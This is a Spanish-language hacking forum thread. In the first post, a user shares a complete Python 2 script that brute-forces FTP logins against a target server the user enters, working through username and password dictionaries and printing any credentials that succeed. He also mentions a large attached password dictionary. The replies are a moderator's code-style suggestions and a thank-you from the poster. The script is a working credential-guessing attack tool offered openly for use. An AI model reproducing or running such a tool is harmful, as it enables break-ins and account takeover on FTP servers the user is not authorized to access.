![]() |
|
|
#1 | |
|
Recien llegado
![]() Fecha de Ingreso: abril-2012
Amigos 0
Mensajes: 12
Gracias: 0
Agradecido 1 vez en 1 mensaje.
|
Es un cracker ftp que, mediante fuerza bruta con la ayuda de un diccionario, intentará extraer la información de los usuarios del servidor ftp.
En algunos servidores va bastante lento ( no sé la causa aún ) pero de normal, va perfecto. Y os adjunto también un diccionario, con 311048 usuarios, haced una copia y renombradla a passwords.txt, así cargará el cracker nuestro diccionario. El link es éste:
Código:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import ftplib
class ftp_brute_force:
def __init__(self,conectftp,target):
self.listausuarios,self.listapasswords,self.conectftp,self.target,self.contadorus,self.contadorpas = ([],[],conectftp,target,0,0)
print "\n[+] Cargando los diccionarios,esto puede tardar unos segundos... [+]"
try:
self.users = open("usuarios.txt","r")
self.passwords = open("passwords.txt","r")
except:
print "\n [-] No existen los diccionarios"
exit()
for self.user in self.users.readlines():
self.listausuarios.append(self.user)
self.contadorus += 1
for self.password in self.passwords.readlines():
self.listapasswords.append(self.password)
self.contadorpas += 1
self.users.close()
self.passwords.close()
print "\n[+] Diccionarios Cargados: " + str(self.contadorus) + " Usuarios y " + str(self.contadorpas) + " Passwords [+]"
print "\n[+] Combinaciones posibles: " + str(self.contadorus*self.contadorpas) +" [+]"
print "\n[+] Ataque iniciado,puede llevar bastante tiempo, no cierre el programa [+]\n\n"
self.bruteforce()
def bruteforce(self):
for self.user in self.listausuarios:
for self.password in self.listapasswords:
try:
self.conectftp.login(self.user,self.password)
print "Los datos son --> " + self.user + " y " + self.password
self.conectftp.quit()
self.conectftp.close()
self.conectftp = ftplib.FTP(self.target)
raw_input()
except:
print self.user + " y " + self.password + " no son correctos"
self.conectftp.quit()
self.conectftp.close()
self.conectftp = ftplib.FTP(self.target)
print " [-] No se han podido extraer datos."
if __name__ == '__main__':
print " [+] FTP CRACKER BY RUNE [+]\n\n\n"
target = raw_input("\n\nIntroduce el target [+] > ")
try:
conectftp = ftplib.FTP(target)
except:
print " \n[-] No existe el target"
exit()
instancia = ftp_brute_force(conectftp,target)
|
|
|
|
|
|
|
#2 | |
|
Moderador
![]() Fecha de Ingreso: marzo-2007
Amigos 5
Mensajes: 1.457
Gracias: 18
Agradecido 275 veces en 244 mensajes.
|
Muy bueno, un par de observaciones:
Si mal no recuerdo, file.readlines() te devuelve un arreglo de string donde cada elemento es una línea del archivo. Segundo, en python tienes la función len(arreglo), que te devuelve la cantidad de elementos de un arreglo. Así tu código quedaría más consiso: Código:
self.listausuarios = usuarios.readlines() self.listapasswords = passwords.readlines() self.cantusuarios = len(self.listausuarios) self.cantpasswords = len(self.listapasswords)
__________________
Hay pocas frases que me identifican tanto Cita:
|
|
|
|
|
|
|
#3 | |
|
Recien llegado
![]() Fecha de Ingreso: abril-2012
Amigos 0
Mensajes: 12
Gracias: 0
Agradecido 1 vez en 1 mensaje.
|
Cita:
.Un saludo, Runex
|
|
|
|
|
![]() |
| Herramientas | |
| Desplegado | |
|
|

Temas Similares
|
||||
| Tema | Autor | Foro | Respuestas | Último mensaje |
| <<->> Como comenzar con Python <<->> | David Novikov | Python | 9 | 20-dic-2012 16:57 |
| [Guia] Iniciando en Python | Doddy | Python | 63 | 29-ago-2011 17:04 |
| Las primeras dos líneas de un programa python | ajr784 | Python | 1 | 21-ago-2011 11:40 |
| <<->> LIBROS - MANUALES - EBOOKs <<->> | Fashion | Python | 1 | 23-jul-2011 17:35 |